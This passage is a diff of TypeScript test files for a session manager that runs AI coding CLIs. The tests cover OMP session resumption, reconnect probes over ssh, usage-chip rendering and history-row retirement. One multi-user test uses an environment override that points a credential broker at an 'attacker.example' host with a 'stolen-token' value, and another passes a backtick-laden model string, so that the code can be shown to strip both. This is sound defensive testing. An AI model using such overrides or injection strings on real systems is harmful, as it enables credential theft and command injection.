||||
ompConfig: { continueSession: true },
|
||||
})
|
||||
).toBe('omp --continue');
|
||||
});
|
||||
|
||||
it('prefers an explicit --resume id over --continue', () => {
|
||||
expect(
|
||||
buildSpawnCommand({
|
||||
mode: 'omp',
|
||||
sessionId: 'abc12345',
|
||||
ompConfig: { resumeSessionId: 'session-99', continueSession: true },
|
||||
})
|
||||
).toBe('omp --resume session-99');
|
||||
});
|
||||
|
||||
it('drops unsafe model strings from the spawn command', () => {
|
||||
expect(
|
||||
buildSpawnCommand({
|
||||
mode: 'omp',
|
||||
sessionId: 'abc12345',
|
||||
ompConfig: { model: 'a`b' },
|
||||
})
|
||||
).toBe('omp');
|
||||
});
|
||||
});
|
||||
|
||||
describe('OMP mode gates', () => {
|
||||
it('is an external CLI mode (readiness/ralph/respawn gating)', () => {
|
||||
expect(isExternalCliMode('omp')).toBe(true);
|
||||
});
|
||||
|
||||
it('is NOT an alt-screen strip mode (unverified TUI, like opencode/antigravity)', () => {
|
||||
expect(isAltScreenStripMode('omp')).toBe(false);
|
||||
});
|
||||
|
||||
it('has docker/remote default commands', () => {
|
||||
expect(defaultDockerCommandForMode('omp')).toBe('exec omp');
|
||||
// Routed through an interactive login shell so per-user PATH entries resolve —
|
||||
// same fix as the other remote agent CLIs (see defaultRemoteCommandForMode).
|
||||
expect(defaultRemoteCommandForMode('omp')).toBe('exec "${SHELL:-/bin/sh}" -i -l -c \'omp\'');
|
||||
});
|
||||
});
|
||||
|
||||
describe('OMP multi-user clamp: the env-var half', () => {
|
||||
// Unlike DeepSeek, omp has no permission FLAG or CONFIG for the clamp to
|
||||
// gate (buildOmpCommand() only ever emits --model/--resume/--continue), so
|
||||
// the only privilege surface is the two credential-resolution env vars the
|
||||
// OMP_* prefix admits.
|
||||
const ORIGINAL = process.env.CODEMAN_MULTIUSER;
|
||||
beforeEach(() => {
|
||||
process.env.CODEMAN_MULTIUSER = '1';
|
||||
});
|
||||
afterEach(() => {
|
||||
if (ORIGINAL === undefined) delete process.env.CODEMAN_MULTIUSER;
|
||||
else process.env.CODEMAN_MULTIUSER = ORIGINAL;
|
||||
});
|
||||
|
||||
it('strips OMP_AUTH_BROKER_URL and OMP_AUTH_BROKER_TOKEN, leaving unrelated overrides alone', async () => {
|
||||
const out = await _clampEnvOverridesForOwner('nobody', {
|
||||
OMP_AUTH_BROKER_URL: 'https://attacker.example/broker',
|
||||
OMP_AUTH_BROKER_TOKEN: 'stolen-token',
|
||||
OMP_PROFILE: 'default',
|
||||
});
|
||||
expect(out).toEqual({ OMP_PROFILE: 'default' });
|
||||
});
|
||||
|
||||
it('is a no-op in single-user mode', async () => {
|
||||
delete process.env.CODEMAN_MULTIUSER;
|
||||
const input = { OMP_AUTH_BROKER_URL: 'https://attacker.example/broker' };
|
||||
expect(await _clampEnvOverridesForOwner(undefined, input)).toBe(input);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,128 @@
|
||||
/**
|
||||
* @fileoverview Tests for OMP session-id resolution from disk.
|
||||
*
|
||||
* Pins the home-relative directory mangling bug found 2026-08-27: omp
|
||||
* collapses a home-relative workingDir to its home-relative remainder BEFORE
|
||||
* dash-replacing (`/home/user/dev/foo` -> `-dev-foo`), unlike Claude Code's
|
||||
* `~/.claude/projects/*` convention (`-home-user-dev-foo`) this module was
|
||||
* originally written to mirror. Getting this wrong doesn't throw — it just
|
||||
* makes findLatestOmpSessionId() silently return null for every case under
|
||||
* $HOME (virtually all real Codeman cases), so continuation pinning quietly
|
||||
* degraded to omp's own ambiguous `--continue` while appearing to work in
|
||||
* manual testing done entirely under /tmp (which sits outside $HOME and was
|
||||
* mangled correctly by coincidence).
|
||||
*
|
||||
* test/setup.ts gives this file its own temp $HOME, so homedir() below is
|
||||
* already sandboxed — writing real files under it is safe and exercises the
|
||||
* exact home-relative path the bug hid behind.
|
||||
*/
|
||||
import { mkdirSync, rmSync, utimesSync, writeFileSync } from 'node:fs';
|
||||
import { homedir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { afterEach, describe, expect, it } from 'vitest';
|
||||
import { findLatestOmpSessionId, mangleOmpWorkingDir } from '../src/utils/omp-session-resolver.js';
|
||||
import { resolveOmpConfigForCreate } from '../src/web/routes/session-routes.js';
|
||||
|
||||
describe('mangleOmpWorkingDir', () => {
|
||||
it('strips the home prefix before dash-replacing a home-relative path', () => {
|
||||
const home = homedir();
|
||||
expect(mangleOmpWorkingDir(join(home, 'codeman-cases', 'testcase'))).toBe('-codeman-cases-testcase');
|
||||
});
|
||||
|
||||
it('dash-replaces a path outside $HOME as-is', () => {
|
||||
expect(mangleOmpWorkingDir('/tmp/omp-verify-case')).toBe('-tmp-omp-verify-case');
|
||||
});
|
||||
|
||||
it('treats workingDir === home as the empty remainder', () => {
|
||||
expect(mangleOmpWorkingDir(homedir())).toBe('');
|
||||
});
|
||||
|
||||
it('does not false-positive on a sibling directory sharing a prefix with $HOME', () => {
|
||||
const sibling = `${homedir()}-other/dev/foo`;
|
||||
expect(mangleOmpWorkingDir(sibling)).toBe(sibling.replace(/\//g, '-'));
|
||||
});
|
||||
});
|
||||
|
||||
describe('findLatestOmpSessionId', () => {
|
||||
const sessionDir = join(homedir(), '.omp', 'agent', 'sessions', '-codeman-cases-testcase');
|
||||
|
||||
afterEach(() => {
|
||||
rmSync(join(homedir(), '.omp'), { recursive: true, force: true });
|
||||
});
|
||||
|
||||
it('finds the newest session file under a home-relative workingDir', () => {
|
||||
const workingDir = join(homedir(), 'codeman-cases', 'testcase');
|
||||
mkdirSync(sessionDir, { recursive: true });
|
||||
writeFileSync(join(sessionDir, '2026-08-27T17-15-57-989Z_older-id.jsonl'), '{}');
|
||||
const newer = join(sessionDir, '2026-08-27T17-31-08-001Z_newer-id.jsonl');
|
||||
writeFileSync(newer, '{}');
|
||||
// Force a deterministic mtime order regardless of filesystem timestamp resolution.
|
||||
const now = Date.now() / 1000;
|
||||
utimesSync(join(sessionDir, '2026-08-27T17-15-57-989Z_older-id.jsonl'), now, now);
|
||||
utimesSync(newer, now + 1, now + 1);
|
||||
|
||||
expect(findLatestOmpSessionId(workingDir)).toBe('newer-id');
|
||||
});
|
||||
|
||||
it('returns null when the mangled directory does not exist', () => {
|
||||
expect(findLatestOmpSessionId(join(homedir(), 'never-launched'))).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe('resolveOmpConfigForCreate', () => {
|
||||
// The exact pipeline "resume this OMP row from the history list" drives:
|
||||
// POST /api/sessions with mode:'omp' + ompConfig:{continueSession:true}
|
||||
// must come back with resumeSessionId PINNED to the real omp transcript
|
||||
// uuid, not left as the ambiguous continueSession flag alone. This was the
|
||||
// one path flagged by review as having zero coverage despite being the
|
||||
// exact mechanism the whole resolver module exists to serve.
|
||||
const workingDir = join(homedir(), 'codeman-cases', 'resume-test');
|
||||
const sessionDir = join(homedir(), '.omp', 'agent', 'sessions', '-codeman-cases-resume-test');
|
||||
|
||||
afterEach(() => {
|
||||
rmSync(join(homedir(), '.omp'), { recursive: true, force: true });
|
||||
});
|
||||
|
||||
it('pins resumeSessionId from disk when resuming with only continueSession set', () => {
|
||||
mkdirSync(sessionDir, { recursive: true });
|
||||
writeFileSync(join(sessionDir, '2026-08-27T17-31-08-001Z_real-omp-uuid.jsonl'), '{}');
|
||||
|
||||
const resolved = resolveOmpConfigForCreate('omp', workingDir, { continueSession: true });
|
||||
|
||||
expect(resolved).toEqual({ continueSession: true, resumeSessionId: 'real-omp-uuid' });
|
||||
});
|
||||
|
||||
it('does not attempt resolution when resumeSessionId is already explicit', () => {
|
||||
mkdirSync(sessionDir, { recursive: true });
|
||||
writeFileSync(join(sessionDir, '2026-08-27T17-31-08-001Z_disk-uuid.jsonl'), '{}');
|
||||
|
||||
const resolved = resolveOmpConfigForCreate('omp', workingDir, {
|
||||
continueSession: true,
|
||||
resumeSessionId: 'already-pinned',
|
||||
});
|
||||
|
||||
// Must return the caller's id unchanged, never overwrite it with whatever
|
||||
// happens to be newest on disk.
|
||||
expect(resolved).toEqual({ continueSession: true, resumeSessionId: 'already-pinned' });
|
||||
});
|
||||
|
||||
it('leaves ompConfig unchanged when continueSession is not set', () => {
|
||||
const resolved = resolveOmpConfigForCreate('omp', workingDir, {});
|
||||
expect(resolved).toEqual({});
|
||||
});
|
||||
|
||||
it('leaves ompConfig unchanged when nothing is on disk to resolve', () => {
|
||||
const resolved = resolveOmpConfigForCreate('omp', join(homedir(), 'never-launched'), {
|
||||
continueSession: true,
|
||||
});
|
||||
expect(resolved).toEqual({ continueSession: true });
|
||||
});
|
||||
|
||||
it('returns undefined for a non-omp mode regardless of ompConfig', () => {
|
||||
expect(resolveOmpConfigForCreate('claude', workingDir, { continueSession: true })).toBeUndefined();
|
||||
});
|
||||
|
||||
it('returns undefined when ompConfig is undefined', () => {
|
||||
expect(resolveOmpConfigForCreate('omp', workingDir, undefined)).toBeUndefined();
|
||||
});
|
||||
});
|
||||
@@ -12,7 +12,9 @@
|
||||
*/
|
||||
import { describe, it, expect, beforeAll, afterAll, beforeEach } from 'vitest';
|
||||
import { WebServer } from '../src/web/server.js';
|
||||
|
||||
import { safeRmHomeTree } from './mocks/index.js';
|
||||
import { homedir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
const TEST_PORT = 3215;
|
||||
|
||||
// Helper to parse SSE events from raw text
|
||||
@@ -1043,15 +1045,8 @@ describe('Operation Lightspeed', () => {
|
||||
const caseEvent = events.find((e) => e.event === 'case:created');
|
||||
expect(caseEvent).toBeDefined();
|
||||
|
||||
// Cleanup
|
||||
const { rmSync } = await import('node:fs');
|
||||
const { join } = await import('node:path');
|
||||
const { homedir } = await import('node:os');
|
||||
try {
|
||||
rmSync(join(homedir(), 'codeman-cases', caseName), { recursive: true });
|
||||
} catch {
|
||||
/* may not exist */
|
||||
}
|
||||
// Cleanup (containment-gated: never touch prod ~/codeman-cases)
|
||||
safeRmHomeTree(join(homedir(), 'codeman-cases', caseName));
|
||||
});
|
||||
|
||||
it('should deliver session:created to every client, even those with a mismatched filter', async () => {
|
||||
|
||||
@@ -79,4 +79,64 @@ describe('header plan usage chip', () => {
|
||||
expect(codexRow).not.toContain('5h');
|
||||
expect(codexRow).toContain('7d');
|
||||
});
|
||||
|
||||
it("keeps Claude's 5h slot as a dash when no session window is open", () => {
|
||||
// Claude Code ships `five_hour` "only while the API reports it and its
|
||||
// resets_at has not passed", so between session windows the key is simply
|
||||
// absent. The chip used to shrink to a lone 7d segment, which reads as a
|
||||
// broken feature rather than an idle window (reported 2026-09-01).
|
||||
const { CodemanApp, chip } = loadCodemanAppClass();
|
||||
const app = Object.create((CodemanApp as { prototype: object }).prototype) as UsageApp;
|
||||
|
||||
app.updatePlanUsageChip({ sevenDay: { usedPercentage: 52, resetAt: 2000 } });
|
||||
|
||||
expect(chip.innerHTML).toContain('pu-win-idle');
|
||||
expect(chip.innerHTML).toContain('5h');
|
||||
expect(chip.innerHTML).toContain('52%');
|
||||
expect(chip.title).toContain('no active session window');
|
||||
});
|
||||
|
||||
it('renders no row at all for a provider reporting nothing', () => {
|
||||
// The placeholder must never stand alone: a row of em dashes would claim a
|
||||
// provider is idle when it is really absent.
|
||||
const { CodemanApp, chip } = loadCodemanAppClass();
|
||||
const app = Object.create((CodemanApp as { prototype: object }).prototype) as UsageApp;
|
||||
|
||||
app.updatePlanUsageChip({ codex: { sevenDay: { usedPercentage: 40, resetAt: 3000 } } });
|
||||
|
||||
expect(chip.innerHTML).not.toContain('pu-win-idle');
|
||||
expect(chip.innerHTML).toContain('40%');
|
||||
});
|
||||
|
||||
it('drops the provider label when Claude is the only provider with limits', () => {
|
||||
const { CodemanApp, chip } = loadCodemanAppClass();
|
||||
const app = Object.create((CodemanApp as { prototype: object }).prototype) as UsageApp;
|
||||
|
||||
app.updatePlanUsageChip({
|
||||
fiveHour: { usedPercentage: 60, resetAt: 1000 },
|
||||
sevenDay: { usedPercentage: 23, resetAt: 2000 },
|
||||
});
|
||||
|
||||
expect(chip.innerHTML).toContain('class="pu-row"');
|
||||
expect(chip.innerHTML).not.toContain('pu-provider');
|
||||
expect(chip.innerHTML).not.toContain('Claude');
|
||||
expect(chip.innerHTML).toContain('60%');
|
||||
expect(chip.innerHTML).toContain('23%');
|
||||
// The tooltip still names the provider — it has room, and the chip no longer does.
|
||||
expect(chip.title).toContain('Claude plan usage');
|
||||
});
|
||||
|
||||
it('drops the provider label when Codex is the only provider with limits', () => {
|
||||
const { CodemanApp, chip } = loadCodemanAppClass();
|
||||
const app = Object.create((CodemanApp as { prototype: object }).prototype) as UsageApp;
|
||||
|
||||
app.updatePlanUsageChip({
|
||||
codex: { fiveHour: { usedPercentage: 12, resetAt: 3000 } },
|
||||
});
|
||||
|
||||
expect(chip.innerHTML).toContain('class="pu-row"');
|
||||
expect(chip.innerHTML).not.toContain('pu-provider');
|
||||
expect(chip.innerHTML).toContain('12%');
|
||||
expect(chip.title).toContain('Codex plan usage');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -13,9 +13,9 @@
|
||||
|
||||
import { describe, it, expect, beforeAll, afterAll, afterEach } from 'vitest';
|
||||
import { WebServer } from '../src/web/server.js';
|
||||
import { existsSync, rmSync } from 'node:fs';
|
||||
import { join } from 'node:path';
|
||||
import { homedir } from 'node:os';
|
||||
import { safeRmHomeTree } from './mocks/index.js';
|
||||
|
||||
const TEST_PORT = 3125;
|
||||
const CASES_DIR = join(homedir(), 'codeman-cases');
|
||||
@@ -33,13 +33,10 @@ describe('Ralph Integration Tests', () => {
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
// Clean up cases created during this test
|
||||
// Clean up cases created during this test (containment-gated: never
|
||||
// delete a case dir outside the temp HOME).
|
||||
while (createdCases.length > 0) {
|
||||
const caseName = createdCases.pop()!;
|
||||
const casePath = join(CASES_DIR, caseName);
|
||||
if (existsSync(casePath)) {
|
||||
rmSync(casePath, { recursive: true, force: true });
|
||||
}
|
||||
safeRmHomeTree(join(CASES_DIR, createdCases.pop()!));
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
@@ -26,6 +26,7 @@ import {
|
||||
decideReconnect,
|
||||
} from '../src/remote-reconnect.js';
|
||||
import type { ReconnectSessionView } from '../src/remote-reconnect.js';
|
||||
import { buildRemoteSessionAliveCommand, classifyRemoteAliveExit } from '../src/remote-hosts.js';
|
||||
import { TmuxManager } from '../src/tmux-manager.js';
|
||||
import type { SessionRemote } from '../src/types.js';
|
||||
|
||||
@@ -106,7 +107,7 @@ describe('reconnect backoff schedule (pure)', () => {
|
||||
// ────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
describe('decideReconnect (pure eligibility)', () => {
|
||||
const deadRemote: ReconnectSessionView = { sessionId: 's1', isRemote: true, paneDead: true };
|
||||
const deadRemote: ReconnectSessionView = { sessionId: 's1', isRemote: true, paneDead: true, remoteAlive: true };
|
||||
|
||||
it('emits for a dead remote pane that is not guarded and is due', () => {
|
||||
const action = decideReconnect({
|
||||
@@ -132,7 +133,7 @@ describe('decideReconnect (pure eligibility)', () => {
|
||||
|
||||
it('skips non-remote sessions', () => {
|
||||
const action = decideReconnect({
|
||||
session: { sessionId: 's1', isRemote: false, paneDead: true },
|
||||
session: { sessionId: 's1', isRemote: false, paneDead: true, remoteAlive: true },
|
||||
state: freshReconnectState(),
|
||||
guarded: false,
|
||||
enabled: true,
|
||||
@@ -143,7 +144,7 @@ describe('decideReconnect (pure eligibility)', () => {
|
||||
|
||||
it('skips when the pane is alive', () => {
|
||||
const action = decideReconnect({
|
||||
session: { sessionId: 's1', isRemote: true, paneDead: false },
|
||||
session: { sessionId: 's1', isRemote: true, paneDead: false, remoteAlive: true },
|
||||
state: freshReconnectState(),
|
||||
guarded: false,
|
||||
enabled: true,
|
||||
@@ -152,6 +153,28 @@ describe('decideReconnect (pure eligibility)', () => {
|
||||
expect(action).toEqual({ kind: 'skip', reason: 'pane-alive' });
|
||||
});
|
||||
|
||||
it('NEVER revives when the durable remote tmux is GONE (clean exit — the 2026-08-29 fix)', () => {
|
||||
const action = decideReconnect({
|
||||
session: { sessionId: 's1', isRemote: true, paneDead: true, remoteAlive: false },
|
||||
state: freshReconnectState(),
|
||||
guarded: false,
|
||||
enabled: true,
|
||||
now: 0,
|
||||
});
|
||||
expect(action).toEqual({ kind: 'skip', reason: 'remote-gone' });
|
||||
});
|
||||
|
||||
it('NEVER revives when remote liveness is unknown (probe failed — fail closed)', () => {
|
||||
const action = decideReconnect({
|
||||
session: { sessionId: 's1', isRemote: true, paneDead: true, remoteAlive: undefined },
|
||||
state: freshReconnectState(),
|
||||
guarded: false,
|
||||
enabled: true,
|
||||
now: 0,
|
||||
});
|
||||
expect(action).toEqual({ kind: 'skip', reason: 'remote-gone' });
|
||||
});
|
||||
|
||||
it('skips when the kill-switch is off', () => {
|
||||
const action = decideReconnect({
|
||||
session: deadRemote,
|
||||
@@ -198,6 +221,34 @@ describe('decideReconnect (pure eligibility)', () => {
|
||||
// (c) MANAGER integration — drive ticks with a stubbed pane-death + clock
|
||||
// ────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
describe('remote has-session probe (pure)', () => {
|
||||
it('builds the probe through the shared ssh connection args, has-session by name', () => {
|
||||
const cmd = buildRemoteSessionAliveCommand({ username: 'dev', host: 'box', port: 2222 }, 'codeman-ssh-abc');
|
||||
// Literal pin: the session name is shellescaped inside the remote command,
|
||||
// which is itself one shellescaped ssh argument.
|
||||
expect(cmd).toBe(
|
||||
"ssh -o BatchMode=yes -o ConnectTimeout=10 -p 2222 dev@box 'tmux -L codeman-remote has-session -t '\\''codeman-ssh-abc'\\'' 2>/dev/null'"
|
||||
);
|
||||
});
|
||||
|
||||
// `tmux has-session` prints NOTHING on success (exit 0), so the exit status is
|
||||
// the only signal; reading stdout classified every live session as gone.
|
||||
it('exit 0 = alive', () => {
|
||||
expect(classifyRemoteAliveExit(0, false)).toBe(true);
|
||||
});
|
||||
|
||||
it("tmux's 1 (missing session) and 127 (no tmux on the remote) = gone", () => {
|
||||
expect(classifyRemoteAliveExit(1, false)).toBe(false);
|
||||
expect(classifyRemoteAliveExit(127, false)).toBe(false);
|
||||
});
|
||||
|
||||
it("ssh's 255, a timeout, and a spawn failure = unknown (never revive)", () => {
|
||||
expect(classifyRemoteAliveExit(255, false)).toBeUndefined();
|
||||
expect(classifyRemoteAliveExit(null, true)).toBeUndefined();
|
||||
expect(classifyRemoteAliveExit(null, false)).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe('TmuxManager remote reconnect watcher (integration)', () => {
|
||||
let manager: TmuxManager;
|
||||
|
||||
@@ -222,6 +273,11 @@ describe('TmuxManager remote reconnect watcher (integration)', () => {
|
||||
registerRemote('aaaa1111');
|
||||
// Force the watcher to see a dead pane regardless of test-mode isPaneDead.
|
||||
vi.spyOn(manager, 'isPaneDead').mockReturnValue(true);
|
||||
// The durable remote tmux is still alive (transport drop) → reconnect allowed.
|
||||
(manager as unknown as { remoteAliveCache: Map<string, boolean | undefined> }).remoteAliveCache.set(
|
||||
'aaaa1111',
|
||||
true
|
||||
);
|
||||
|
||||
const dropped: Array<{ sessionId: string; attempt: number }> = [];
|
||||
const exhausted: Array<{ sessionId: string }> = [];
|
||||
@@ -263,6 +319,10 @@ describe('TmuxManager remote reconnect watcher (integration)', () => {
|
||||
it('resets backoff on a successful reattach (noteRemoteReconnect)', () => {
|
||||
registerRemote('cccc3333');
|
||||
vi.spyOn(manager, 'isPaneDead').mockReturnValue(true);
|
||||
(manager as unknown as { remoteAliveCache: Map<string, boolean | undefined> }).remoteAliveCache.set(
|
||||
'cccc3333',
|
||||
true
|
||||
);
|
||||
|
||||
const dropped: Array<{ attempt: number }> = [];
|
||||
manager.on('remoteSessionDropped', (d) => dropped.push(d));
|
||||
@@ -284,12 +344,48 @@ describe('TmuxManager remote reconnect watcher (integration)', () => {
|
||||
expect(dropped).toEqual([]);
|
||||
});
|
||||
|
||||
it('forgets the cached liveness once the pane is alive again, so a later dead pane is probed afresh', async () => {
|
||||
registerRemote('ffff6666');
|
||||
const cache = (manager as unknown as { remoteAliveCache: Map<string, boolean | undefined> }).remoteAliveCache;
|
||||
// A clean exit was observed earlier (remote gone) ...
|
||||
cache.set('ffff6666', false);
|
||||
// ... then the user restarted the session by hand: the pane is alive.
|
||||
const paneDead = vi.spyOn(manager, 'isPaneDead').mockReturnValue(false);
|
||||
manager.runRemoteReconnectTick(0, true);
|
||||
expect(cache.has('ffff6666')).toBe(false);
|
||||
|
||||
// Now a transport drop. The first dead-pane tick only fires the probe
|
||||
// (stubbed alive under VITEST); the tick after it sees the fresh answer.
|
||||
paneDead.mockReturnValue(true);
|
||||
const dropped: unknown[] = [];
|
||||
manager.on('remoteSessionDropped', (d) => dropped.push(d));
|
||||
manager.runRemoteReconnectTick(1000, true);
|
||||
expect(dropped).toEqual([]);
|
||||
await new Promise((resolve) => setTimeout(resolve, 0));
|
||||
expect(cache.get('ffff6666')).toBe(true);
|
||||
manager.runRemoteReconnectTick(2000, true);
|
||||
expect(dropped).toEqual([{ sessionId: 'ffff6666', attempt: 1 }]);
|
||||
});
|
||||
|
||||
it('never revives from a stale "alive" answer after the pane came back: a later clean exit re-probes', () => {
|
||||
registerRemote('abab7777');
|
||||
const cache = (manager as unknown as { remoteAliveCache: Map<string, boolean | undefined> }).remoteAliveCache;
|
||||
cache.set('abab7777', true); // learned during a transport drop
|
||||
vi.spyOn(manager, 'isPaneDead').mockReturnValue(false); // reattach succeeded
|
||||
manager.runRemoteReconnectTick(0, true);
|
||||
expect(cache.has('abab7777')).toBe(false);
|
||||
});
|
||||
|
||||
it('clears per-session reconnect/guard state when the session is removed', () => {
|
||||
registerRemote('eeee5555');
|
||||
manager.guardRemoteReconnect('eeee5555');
|
||||
manager.clearRemoteReconnectState('eeee5555');
|
||||
// After clearing the guard, a fresh dead-pane observation should emit again.
|
||||
vi.spyOn(manager, 'isPaneDead').mockReturnValue(true);
|
||||
(manager as unknown as { remoteAliveCache: Map<string, boolean | undefined> }).remoteAliveCache.set(
|
||||
'eeee5555',
|
||||
true
|
||||
);
|
||||
const dropped: unknown[] = [];
|
||||
manager.on('remoteSessionDropped', (d) => dropped.push(d));
|
||||
manager.runRemoteReconnectTick(0, true);
|
||||
|
||||
@@ -20,6 +20,7 @@ import { isAntigravityAvailable } from '../src/utils/antigravity-cli-resolver.js
|
||||
import { isPiAvailable } from '../src/utils/pi-cli-resolver.js';
|
||||
import { isGrokAvailable } from '../src/utils/grok-cli-resolver.js';
|
||||
import { isDeepSeekAvailable, isDeepSeekRunnable } from '../src/utils/deepseek-cli-resolver.js';
|
||||
import { isOmpAvailable } from '../src/utils/omp-cli-resolver.js';
|
||||
import { isCloudflaredAvailable } from '../src/utils/cloudflared-resolver.js';
|
||||
import { isGitAvailable } from '../src/git-clone.js';
|
||||
|
||||
@@ -66,6 +67,10 @@ vi.mock('../src/utils/deepseek-cli-resolver.js', () => ({
|
||||
listDeepSeekProfiles: vi.fn(() => []),
|
||||
resolveDefaultDeepSeekProfile: vi.fn(() => null),
|
||||
}));
|
||||
vi.mock('../src/utils/omp-cli-resolver.js', () => ({
|
||||
isOmpAvailable: vi.fn(() => false),
|
||||
resolveOmpDir: vi.fn(() => null),
|
||||
}));
|
||||
vi.mock('../src/utils/cloudflared-resolver.js', () => ({
|
||||
isCloudflaredAvailable: vi.fn(() => false),
|
||||
resolveCloudflaredPath: vi.fn(() => null),
|
||||
@@ -156,6 +161,9 @@ describe('WebServer.renderIndexHtml', () => {
|
||||
vi.mocked(isAntigravityAvailable).mockReturnValue(false);
|
||||
vi.mocked(isPiAvailable).mockReturnValue(true);
|
||||
vi.mocked(isGrokAvailable).mockReturnValue(false);
|
||||
vi.mocked(isDeepSeekAvailable).mockReturnValue(false);
|
||||
vi.mocked(isDeepSeekRunnable).mockReturnValue(false);
|
||||
vi.mocked(isOmpAvailable).mockReturnValue(true);
|
||||
vi.mocked(isCloudflaredAvailable).mockReturnValue(true);
|
||||
vi.mocked(isGitAvailable).mockReturnValue(true);
|
||||
const { server } = makeServer({});
|
||||
@@ -173,6 +181,7 @@ describe('WebServer.renderIndexHtml', () => {
|
||||
grok: false,
|
||||
deepseek: false,
|
||||
deepseekBinary: false,
|
||||
omp: true,
|
||||
cloudflared: true,
|
||||
git: true,
|
||||
});
|
||||
@@ -191,6 +200,7 @@ describe('WebServer.renderIndexHtml', () => {
|
||||
isGrokAvailable,
|
||||
isDeepSeekAvailable,
|
||||
isDeepSeekRunnable,
|
||||
isOmpAvailable,
|
||||
isCloudflaredAvailable,
|
||||
isGitAvailable,
|
||||
]) {
|
||||
|
||||
@@ -0,0 +1,143 @@
|
||||
/**
|
||||
* @fileoverview Upstream review fix (Ark0N/Codeman#353, PR #3): resumeHistorySession()
|
||||
* threads the row's own mode through session creation via a `modeConfigKey` map
|
||||
* (opencode/pi/grok/omp → `continueSession: true`), then retires the old row via
|
||||
* DELETE. codex/gemini/antigravity were missing from that map, so resuming one of
|
||||
* their rows created a session with NO continuation while still deleting the row
|
||||
* it came from — data loss dressed as a fix. The correction: only retire the row
|
||||
* when the new session actually continues something.
|
||||
*
|
||||
* Loaded via `vm` against a stub CodemanApp, same harness as resume-name.test.ts.
|
||||
* `fetch` is a shared mutable stub so each test can inspect exactly which requests
|
||||
* fired without a real network/server.
|
||||
*/
|
||||
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { resolve } from 'node:path';
|
||||
import vm from 'node:vm';
|
||||
import { describe, expect, it, vi, beforeEach } from 'vitest';
|
||||
|
||||
/* eslint-disable @typescript-eslint/no-explicit-any */
|
||||
|
||||
/** The fetch the vm's shipping code calls; swapped per test (see beforeEach). */
|
||||
let currentFetch: (...args: unknown[]) => unknown = () => {
|
||||
throw new Error('fetch not stubbed for this test');
|
||||
};
|
||||
|
||||
function loadTerminalUiPrototype(): Record<string, (...args: unknown[]) => unknown> {
|
||||
const source = readFileSync(resolve(import.meta.dirname, '../src/web/public/terminal-ui.js'), 'utf8');
|
||||
const context = vm.createContext({
|
||||
console,
|
||||
CodemanApp: class CodemanApp {},
|
||||
setInterval: vi.fn(),
|
||||
clearInterval: vi.fn(),
|
||||
setTimeout,
|
||||
clearTimeout,
|
||||
requestAnimationFrame: vi.fn(),
|
||||
document: { addEventListener: vi.fn(), getElementById: vi.fn(() => null) },
|
||||
window: { addEventListener: vi.fn(), removeEventListener: vi.fn() },
|
||||
fetch: (...args: unknown[]) => currentFetch(...args),
|
||||
});
|
||||
vm.runInContext(`${source}\nglobalThis.__proto = CodemanApp.prototype;`, context);
|
||||
return (context as { __proto: Record<string, (...args: unknown[]) => unknown> }).__proto;
|
||||
}
|
||||
|
||||
const proto = loadTerminalUiPrototype();
|
||||
|
||||
function makeApp() {
|
||||
return {
|
||||
terminal: { clear: vi.fn(), writeln: vi.fn(), focus: vi.fn() },
|
||||
cases: [],
|
||||
resumeHistorySession: proto.resumeHistorySession as (...args: unknown[]) => Promise<void>,
|
||||
_closeFolderHistoryModal: vi.fn(),
|
||||
_resolveResumeName: () => 'w1-case',
|
||||
loadAppSettingsFromStorage: () => ({}),
|
||||
getCaseSettings: () => ({}),
|
||||
buildEnvOverrides: () => ({}),
|
||||
getEffortSetting: () => undefined,
|
||||
selectSession: vi.fn(async () => {}),
|
||||
};
|
||||
}
|
||||
|
||||
/** DELETE calls the fetch mock recorded. */
|
||||
function deleteCalls(fetchMock: ReturnType<typeof vi.fn>): string[] {
|
||||
return fetchMock.mock.calls
|
||||
.filter(([, opts]: [string, { method?: string }]) => opts?.method === 'DELETE')
|
||||
.map(([url]: [string]) => url);
|
||||
}
|
||||
|
||||
/** POST /api/sessions body the fetch mock recorded. */
|
||||
function createBody(fetchMock: ReturnType<typeof vi.fn>): any {
|
||||
const call = fetchMock.mock.calls.find(([url]: [string]) => url === '/api/sessions');
|
||||
return call ? JSON.parse((call[1] as { body: string }).body) : undefined;
|
||||
}
|
||||
|
||||
function stubFetch(newSessionId: string): ReturnType<typeof vi.fn> {
|
||||
const fetchMock = vi.fn(async (url: string) => {
|
||||
if (url === '/api/sessions') {
|
||||
return { json: async () => ({ success: true, data: { session: { id: newSessionId } } }) };
|
||||
}
|
||||
return { json: async () => ({ success: true }) };
|
||||
});
|
||||
currentFetch = fetchMock;
|
||||
return fetchMock;
|
||||
}
|
||||
|
||||
describe('resumeHistorySession: row retirement is gated on actual continuation', () => {
|
||||
let fetchMock: ReturnType<typeof vi.fn>;
|
||||
|
||||
beforeEach(() => {
|
||||
fetchMock = stubFetch('new-session-id');
|
||||
});
|
||||
|
||||
it.each(['codex', 'gemini', 'antigravity'])(
|
||||
'does NOT retire the old row for %s (no continuation is wired for it)',
|
||||
async (mode) => {
|
||||
const app = makeApp();
|
||||
await app.resumeHistorySession.call(app, 'old-id', '/repo', 'w1-repo', mode);
|
||||
|
||||
expect(createBody(fetchMock)).toMatchObject({ mode });
|
||||
expect(createBody(fetchMock).codexConfig).toBeUndefined();
|
||||
expect(createBody(fetchMock).geminiConfig).toBeUndefined();
|
||||
expect(createBody(fetchMock).antigravityConfig).toBeUndefined();
|
||||
expect(deleteCalls(fetchMock)).toEqual([]);
|
||||
}
|
||||
);
|
||||
|
||||
it.each([
|
||||
['opencode', 'openCodeConfig'],
|
||||
['pi', 'piConfig'],
|
||||
['grok', 'grokConfig'],
|
||||
['omp', 'ompConfig'],
|
||||
])('retires the old row for %s (continueSession is wired via %s)', async (mode, configKey) => {
|
||||
const app = makeApp();
|
||||
await app.resumeHistorySession.call(app, 'old-id', '/repo', 'w1-repo', mode);
|
||||
|
||||
expect(createBody(fetchMock)[configKey]).toEqual({ continueSession: true });
|
||||
